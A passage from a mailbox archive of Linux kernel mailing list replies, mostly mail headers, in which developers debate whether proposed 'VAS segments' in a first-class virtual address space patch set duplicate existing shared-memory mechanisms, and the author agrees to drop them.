	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato
To: "Luck, Tony" <tony.luck@intel.com>
Original-X-From: owner-linux-aio@kvack.org Thu Mar 16 00:18:46 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1coIBo-00034D-6p
	for gla-linux-aio@m.gmane.org; Thu, 16 Mar 2017 00:18:44 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id AA2926B0396; Wed, 15 Mar 2017 19:18:49 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id A14956B0394; Wed, 15 Mar 2017 19:18:49 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 840456B0393; Wed, 15 Mar 2017 19:18:49 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f71.google.com (mail-wm0-f71.google.com [74.125.82.71])
	by kanga.kvack.org (Postfix) with ESMTP id 25E066B0392
	for <linux-aio@kvack.org>; Wed, 15 Mar 2017 19:18:49 -0400 (EDT)
Original-Received: by mail-wm0-f71.google.com with SMTP id g8so7512141wmg.7
        for <linux-aio@kvack.org>; Wed, 15 Mar 2017 16:18:49 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=5cTOrRSbVEFPsTsy4MpkXreWhHtQFFmjceLO4PaXjU4=;
        b=X1u4x0ZHCaC2PHJrt88qJKY4EqO2KQaNwqRsI2fkr+HWbDwosjCL8YOg9HD1pSv3rq
         SnJXSGGn8Ff9zL94j50nDo0woZQ7JnC471mu5Q3l3hC7zdQX+gmJws2PnVuiJqIxwV6X
         pIeI6GiGQeSOOCeHsQq5MfWrOYRGTTW8IE1vpu1704+jIbAoIwugpyYnBtHe1OdLUP0t
         OJBWtxsaYVbtLDcVnSzaUC0m1CQIY1Dpma5QH3L72TYs8+4JCnPUVN8FBewwe+MP4GY2
         +5tAlAxXy0U7LacUt8RuzXaQEXWacTBxx9bL7j14tds5S1pEXPj6+asWF0oDqOtODjIm
         Ekag==
X-Gm-Message-State: AFeK/H3gecxlKm9oRU5ATCOs87pdSDyrGbfrHIRth7VE3jvmU91PHPtQvBGOWJ1kROpoHDKrVfsbTTqwb/O0HvWTQ/yYi2nZakvkYFmXv/J9kn+ZE+ENfcQ/YNitTQ8AHev1KLdnJDfo5+q1pfO7ObSNsjsIEEka5OeQeOwKJmtwxWkMG5dxxXT8af9hGTUpDXJ3EqE5tj2/ZcxVmuw17Oy2PHaG05b2y1Md5EUEbrIFPpbq9QWKw6XN2TO5i/vQzUHajBjY/XwBvfXIVWl2UM3Et60IwizmIEazyVwCdoOoc7HWaDZarvE=
X-Received: by 10.28.56.134 with SMTP id f128mr6297212wma.29.1489619928685;
        Wed, 15 Mar 2017 16:18:48 -0700 (PDT)
X-Received: by 10.28.56.134 with SMTP id f128mr6297186wma.29.1489619927945;
        Wed, 15 Mar 2017 16:18:47 -0700 (PDT)
Original-Received: from mail-wm0-x243.google.com (mail-wm0-x243.google.com. [2a00:1450:400c:c09::243])
        by mx.google.com with ESMTPS id e71si2152569wmc.105.2017.03.15.16.18.47
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 15 Mar 2017 16:18:47 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) client-ip=2a00:1450:400c:c09::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::243 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x243.google.com with SMTP id x124so1405887wmf.3;
        Wed, 15 Mar 2017 16:18:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=5cTOrRSbVEFPsTsy4MpkXreWhHtQFFmjceLO4PaXjU4=;
        b=OgRrkAJXzwQeK8ZiJfz7HWMHrxfvHW097fGc48HC9Fm8emwBC/XFnZ5QIb696If7kL
         sP6NPwFc8xrtyCizZH9s6ldPIo1TjLjOSHHEmB+PElWkbAgjjc1QnwGmiQ2RhvVqs0oI
         jftC/Xl/5AFFXjGU23nHVEAM9oUZhIs1NFtuNOZ1Vggx21Xzw6hUq+G40QgCs3Bo7cAe
         uZt888JQosd7uQTFDQxfRy4YY7T0duV0+wifNPS9nWtepVOyGntIwhQBOxmpeObbnRp4
         zMnQs6bn4W8VLcBlVflD2qcM84CNHtqXx+ujQgMaNpU6bzpXUojFFExKutwb0eodsgnN
         x0Ew==
X-Received: by 10.28.216.208 with SMTP id p199mr6397101wmg.44.1489619927312;
        Wed, 15 Mar 2017 16:18:47 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id o15sm2126811wmd.10.2017.03.15.16.18.45
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 15 Mar 2017 16:18:45 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: "Luck, Tony" <tony.luck@intel.com>,
	Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens  
Content-Disposition: inline
In-Reply-To: <20170315220952.GA1435@intel.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4975 gmane.linux.kernel:2433313 gmane.linux.ports.alpha:4154 gmane.linux.kernel.arc:2248 gmane.linux.ports.arm.kernel:565526 gmane.linux.ports.hexagon:1179 gmane.linux.ports.ia64:27718 gmane.linux.kernel.metag:1288 gmane.linux.ports.mips.general:58477 gmane.linux.ports.parisc:27350 gmane.linux.ports.ppc64.devel:139693 gmane.linux.ports.sh.devel:55153 gmane.linux.ports.sparc:24758 gmane.linux.drivers.video-input-infrastructure:114924 gmane.linux.drivers.mtd:72593 gmane.linux.usb.general:156230 gmane.linux.file-systems:119221 gmane.linux.kernel.mm:168443 gmane.linux.kernel.api:22583 gmane.linux.kernel.cross-arch:35598 gmane.linux.alsa.devel:165410
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4975>

On Wed, 15 Mar 2017, Luck, Tony wrote:
> On Wed, Mar 15, 2017 at 03:02:34PM -0700, Till Smejkal wrote:
> > I don't agree here. VAS segments are basically in-memory files that are handled by
> > the kernel directly without using a file system. Hence, if an application uses a VAS
> > segment to store data the same rules apply as if it uses a file. Everything that it
> > saves in the VAS segment might be accessible by other applications. An application
> > using VAS segments should be aware of this fact. In addition, the resources that are
> > represented by a VAS segment are not leaked. As I said, VAS segments are much like
> > files. Hence, if you don't want to use them any more, delete them. But as with files,
> > the kernel will not delete them for you (although something like this can be added).
> 
> So how do they differ from shmget(2), shmat(2), shmdt(2), shmctl(2)?
> 
> Apart from VAS having better names, instead of silly "key_t key" ones.

Unfortunately, I have to admit that the VAS segments don't differ from shm* a lot.
The implementation is differently, but the functionality that you can achieve with it
is very similar. I am sorry. We should have looked more closely at the whole
functionality that is provided by the shmem subsystem before working on VAS segments.

However, VAS segments are not the key part of this patch set. The more interesting
functionality in our opinion is the introduction of first class virtual address
spaces and what they can be used for. VAS segments were just another logical step for
us (from first class virtual address spaces to first class virtual address space
segments) but since their functionality can be achieved with various other already
existing features of the Linux kernel, I will probably drop them in future versions
of the patchset.

Thanks
Till

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Thu, 16 Mar 2017 09:21:38 +0100 (CET)
Lines: 27
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.20.1703160919170.3586@nanos>
References: <20170315220234.mooiyrzqdsglo4lp@arch-dev>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1489652906 21806 195.159.176.226 (16 Mar 2017 08:28:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 16 Mar 2017 08:28:26 +0000 (UTC)
User-Agent: Alpine 2.20 (DEB 67 2015-01-07)
Cc: Andy Lutomirski <luto@amacapital.net>, Andy Lutomirski <luto@kernel.org>, 
    Richard Henderson <rth@twiddle.net>, 
    Ivan Kokshaysky <ink@jurassic.park.msu.ru>, 
    Matt Turner <mattst88@gmail.com>, Vineet Gupta <vgupta@synopsys.com>, 
    Russell King <linux@armlinux.org.uk>, 
    Catalin Marinas <catalin.marinas@arm.com>, 
    Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>, 
    Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>, 
    Fenghua Yu <fenghua.yu@intel.com>, James Hogan <james.hogan@imgtec.com>, 
    Ralf Baechle <ralf@linux-mips.org>, 
    "James E.J. Bottomley" <jejb@parisc-linux.org>, 
    Helge Deller <deller@gmx.de>, 
    Benjamin Herrenschmidt <benh@kernel.crashing.org>, 
    Paul Mackerras <paulus@samba.org>, Michael Ellerman <mpe@ellerman.id.au>, 
    Martin Schwidefsky <schwidefsky@de.ibm.com>, 
    Heiko Carstens <heiko.
To: Till Smejkal <till.smejkal@googlemail.com>
Original-X-From: owner-linux-mm@kvack.org Thu Mar 16 09:28:13 2017
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1coQlY-0004RO-6K
	for glkm-linux-mm-2@m.gmane.org; Thu, 16 Mar 2017 09:28:12 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id E08146B0390; Thu, 16 Mar 2017 04:28:16 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id D92136B038D; Thu, 16 Mar 2017 04:28:16 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id C57FB6B038F; Thu, 16 Mar 2017 04:28:16 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-wr0-f199.google.com (mail-wr0-f199.google.com [209.85.128.199])
	by kanga.kvack.org (Postfix) with ESMTP id 690996B038D
	for <linux-mm@kvack.org>; Thu, 16 Mar 2017 04:28:16 -0400 (EDT)
Original-Received: by mail-wr0-f199.google.com with SMTP id y51so7160199wry.6
        for <linux-mm@kvack.org>; Thu, 16 Mar 2017 01:28:16 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-original-authentication-results:x-gm-message-state:date:from:to
         :cc:subject:in-reply-to:message-id:references:user-agent
         :mime-version;
        bh=pfbC6mAdhV4kiJe2sxOS6M/raE59XVrWJCcDFgejjVo=;
        b=lJPhUbINYabCKyK+W7Kebjoip7CnhVJKNatA8iURzhdS0LLfn75oHDLlKoLF2zt03N
         EX7dK0psoowo3CbwSGPMc36ewqB9xbxyeJXTsmgAZPkosnS9X03cs9oPgTl2+AIZWgzB
         TNOdqjMZjKU5J8aMaPySyL5OA2xZK8960ANqzKA9sUbvMcNyehrqxKsxJxxoliglnefu
         4jYph3Ez2Ub7i4UrTFGpVXBYMOyWetyJO4SO/gMUP4/o7SlAXcDaJ6de7RBFKnU88q9f
         sroKS1ERJKyqBQZ/UJGcnfDWVT0i5L9M6EnAK+hhuNptpalxL+7e+ekMvHb0kSJ8ZXJ9
         WcTQ==
X-Original-Authentication-Results: mx.google.com;       spf=pass (google.com: best guess record for domain of tglx@linutronix.de designates 2a01:7a0:2:106d:700::1 as permitted sender) smtp.mailfrom=tglx@linutronix.de
X-Gm-Message-State: AFeK/H0YrYcynxmyBolDvrxaoeGLK+fHfnC8cDRNUJq5NgTC7uyc6d3fsxWP7IpA8uiqmG160GDPimih02f9nBxgsjG8+6qiQrzwqXiZp07MSU4bB1F9zaRCGXwJX7sUU10WuxJpb93T9xmMX8FT67IYp/UpAwpyZNShwN9ews+mOuQvO7v8SYlvTcu5
X-Received: by 10.223.152.83 with SMTP id v77mr6794614wrb.109.1489652896003;
        Thu, 16 Mar 2017 01:28:16 -0700 (PDT)
X-Received: by 10.223.152.83 with SMTP id v77mr6794570wrb.109.1489652895329;
        Thu, 16 Mar 2017 01:28:15 -0700 (PDT)
Original-Received: from Galois.linutronix.de (Galois.linutronix.de. [2a01:7a0:2:106d:700::1])
        by mx.google.com with ESMTPS id p21si3579605wma.116.2017.03.16.01.28.15
        (version=TLS1_2 cipher=AES128-SHA bits=128/128);
        Thu, 16 Mar 2017 01:28:15 -0700 (PDT)
Received-SPF: pass (google.com: best guess record for domain of tglx@linutronix.de designates 2a01:7a0:2:106d:700::1 as permitted sender) client-ip=2a01:7a0:2:106d:700::1;
Authentication-Results: mx.google.com;
       spf=pass (google.com: best guess record for domain of tglx@linutronix.de designates 2a01:7a0:2:106d:700::1 as permitted sender) smtp.mailfrom=tglx@linutronix.de
Original-Received: from localhost ([127.0.0.1])
	by Galois.linutronix.de with esmtps (TLS1.2:DHE_RSA_AES_256_CBC_SHA256:256)
	(Exim 4.80)
	(envelope-from <tglx@linutronix.de>)
	id 1coQeu-0005Lh-W3; Thu, 16 Mar 2017 09:21:21 +0100
In-Reply-To: <20170315220234.mooiyrzqdsglo4lp@arch-dev>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:168503 gmane.linux.kernel:2433584 gmane.linux.ports.alpha:4155 gmane.linux.kernel.arc:2249 gmane.linux.ports.arm.kernel:565575 gmane.linux.ports.hexagon:1180 gmane.linux.ports.ia64:27719 gmane.linux.kernel.metag:1289 gmane.linux.ports.mips.general:58480 gmane.linux.ports.parisc:27351 gmane.linux.ports.ppc64.devel:139728 gmane.linux.ports.sh.devel:55154 gmane.linux.ports.sparc:24768 gmane.linux.drivers.video-input-infrastructure:114929 gmane.linux.drivers.mtd:72607 gmane.linux.usb.general:156237 gmane.linux.file-systems:119228 gmane.linux.kernel.aio.general:4976 gmane.linux.kernel.api:22584 gmane.linux.kernel.cross-arch:35599 gmane.linux.alsa.devel:165416
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/168503>

On Wed, 15 Mar 2017, Till Smejkal wrote:
> On Wed, 15 Mar 2017, Andy Lutomirski wrote:

> > > VAS segments on the other side would provide a functionality to
> > > achieve the same without the need of any mounted filesystem. However,
> > > I agree, that this is just a small advantage compared to what can
> > > already be achieved with the existing functionality provided by the
> > > Linux kernel.
> > 
> > I see this "small advantage" as "resource leak and security problem".
> 
> I don't agree here. VAS segments are basically in-memory files that are
> handled by the kernel directly without using a file system. Hence, if an

Why do we need yet another mechanism to represent something which looks
like a file instead of simply using existing mechanisms and extend them?

Thanks,

	tglx

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:39:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: Re: [RFC PATCH 00/13] Introduce first class virtual address spaces
Date: Thu, 16 Mar 2017 10:29:09 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20170316172909.ux4u7dbspwlynsce@arch-dev>
References: <alpine.DEB.2.20.1703160919170.3586@nanos>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1489685370 5564 195.159.176.226 (16 Mar 2017 17:29:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 16 Mar 2017 17:29:30 +0000 (UTC)
User-Agent: NeoMutt/20170306 (1.8.0)
Cc: Till Smejkal <till.smejkal@googlemail.com>,
	Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de
To: Thomas Gleixner <tglx@linutronix.de>
Original-X-From: owner-linux-aio@kvack.org Thu Mar 16 18:29:19 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1coZD6-0008NA-CM
	for gla-linux-aio@m.gmane.org; Thu, 16 Mar 2017 18:29:12 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id B5F926B038D; Thu, 16 Mar 2017 13:29:16 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id B0F5A6B038E; Thu, 16 Mar 2017 13:29:16 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 9406E6B0390; Thu, 16 Mar 2017 13:29:16 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f70.google.com (mail-wm0-f70.google.com [74.125.82.70])
	by kanga.kvack.org (Postfix) with ESMTP id 1EE226B038E
	for <linux-aio@kvack.org>; Thu, 16 Mar 2017 13:29:16 -0400 (EDT)
Original-Received: by mail-wm0-f70.google.com with SMTP id d66so11825473wmi.2
        for <linux-aio@kvack.org>; Thu, 16 Mar 2017 10:29:16 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:date:to:cc:subject
         :message-id:mail-followup-to:mime-version:content-disposition
         :in-reply-to:user-agent;
        bh=gFEgMmPQHT9SAn8aKum+zi+SGTWozSYLWm3iiX1PNE0=;
        b=I44jf8pCtjMT1swI4CjY3cmKFc5e0Iui3+l6cJglqD9dvtD44QGzjQIaJPoYkZZFqO
         XZama/UKPhBaP5ijzpwkCai2J4xfUl5XAmGfq4psiHIt8vGRSyYo6+8rJ4MKQIOsyNOd
         zs5oMcydfdLHvVUlwJF+klNoHv1i0jj78cEuNOHAZCvkPDehyUALpQI2Wj+cDnOc+DVg
         kvAGTqAduC8aOzGuOieNi/bID8sAH7ldO24SNWNuYKE9Nmv0Qs/mIrNYoQpCvi+6yyh8
         2p/NUDZOv7alSBCRwxbAPyhwKSOAAw4DJcn6jHkatO5Nw/3djbWXR2tJUIiyWtcTUikR
         7dVA==
X-Gm-Message-State: AFeK/H0LY/PaeXgC/35DaKC6fKv1Vzl/gW//n7RJxx6ZQTaycQPzE+6b6sZN1bcVyXs5Y5njmwldNFP7IRVcoXiQsLx/ZBzVxy/2Rb6qALe8B5gzu+mznEmWcVhlNrqT1ZNA85z9s7zKNVKNvk3GOuZTfIxmx57qmzH8rvIY3cBG7mTj8DvFYTsgVV99WpWLPU5GGbLd/oidbnX9ZSH3siQLQieonn3GsuGw5+KPg9/PfWIALC0EP9Gi+QBXI7k66TbYD34HvTHIyJMCBjISXgdKdaa23m9oPCwfJXz0bkVXo4dtzY7hGgI=
X-Received: by 10.223.154.44 with SMTP id z41mr9145953wrb.188.1489685355602;
        Thu, 16 Mar 2017 10:29:15 -0700 (PDT)
X-Received: by 10.223.154.44 with SMTP id z41mr9145907wrb.188.1489685354805;
        Thu, 16 Mar 2017 10:29:14 -0700 (PDT)
Original-Received: from mail-wm0-x244.google.com (mail-wm0-x244.google.com. [2a00:1450:400c:c09::244])
        by mx.google.com with ESMTPS id i5si7523127wrb.141.2017.03.16.10.29.14
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Thu, 16 Mar 2017 10:29:14 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::244 as permitted sender) client-ip=2a00:1450:400c:c09::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x244.google.com with SMTP id x124so5238922wmf.3;
        Thu, 16 Mar 2017 10:29:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:date:to:cc:subject:message-id:mail-followup-to:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=gFEgMmPQHT9SAn8aKum+zi+SGTWozSYLWm3iiX1PNE0=;
        b=RwZpuAScxswH7vMiFB7ncnY8v2Cj76lyMHgWVIl45khV/2WgR1TQzdxB0z3Ro5kyxV
         qMsNoxk2RsmKpsFN2JEZdrdPe/9O4knf74VbZS2TtKSVew+FYfxSXxglKLgPmfuMSmQA
         VSpUdmEgW769vWi0dmPu9L+eFRA4TpQVt7T9K5lBawGX19ChKT2JPmi9WrVZ+A5aM7jL
         MaNfGkkx4lUMOD+X0tOKPXoU+VkNrX9lhhES0Ja19a1QrWck9uLROJ10I7lawztVAjq+
         qT9nr5blcc8fc2FOKIODvrPCFS7L+j11964pxSvK5YPkGPaLCUWsE/+o/jDFgw8LTxwk
         /XcA==
X-Received: by 10.28.35.151 with SMTP id j145mr25086837wmj.50.1489685354351;
        Thu, 16 Mar 2017 10:29:14 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id i203sm5059463wmf.12.2017.03.16.10.29.12
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 16 Mar 2017 10:29:13 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
Mail-Followup-To: Thomas Gleixner <tglx@linutronix.de>,
	Till Smejkal <till.smejkal@googlemail.com>,
	Andy Lutomirski <luto@amacapital.net>,
	Andy Lutomirski <luto@kernel.org>,
	Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>, Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>, Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwid 
Content-Disposition: inline
In-Reply-To: <alpine.DEB.2.20.1703160919170.3586@nanos>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4977 gmane.linux.kernel:2434230 gmane.linux.ports.alpha:4156 gmane.linux.kernel.arc:2254 gmane.linux.ports.arm.kernel:565732 gmane.linux.ports.hexagon:1181 gmane.linux.ports.ia64:27720 gmane.linux.kernel.metag:1290 gmane.linux.ports.mips.general:58536 gmane.linux.ports.parisc:27352 gmane.linux.ports.ppc64.devel:139786 gmane.linux.ports.sh.devel:55155 gmane.linux.ports.sparc:24777 gmane.linux.drivers.video-input-infrastructure:114952 gmane.linux.drivers.mtd:72626 gmane.linux.usb.general:156285 gmane.linux.file-systems:119255 gmane.linux.kernel.mm:168582 gmane.linux.kernel.api:22590 gmane.linux.kernel.cross-arch:35610 gmane.linux.alsa.devel:165434
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4977>

On Thu, 16 Mar 2017, Thomas Gleixner wrote:
> Why do we need yet another mechanism to represent something which looks
> like a file instead of simply using existing mechanisms and extend them?

You are right. I also recognized during the discussion with Andy, Chris, Matthew,
Luck, Rich and the others that there are already other techniques in the Linux kernel
that can achieve the same functionality when combined. As I said also to the others,
I will drop the VAS segments for future versions. The first class virtual address
space feature was the more interesting part of the patchset anyways.

Thanks
Till

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
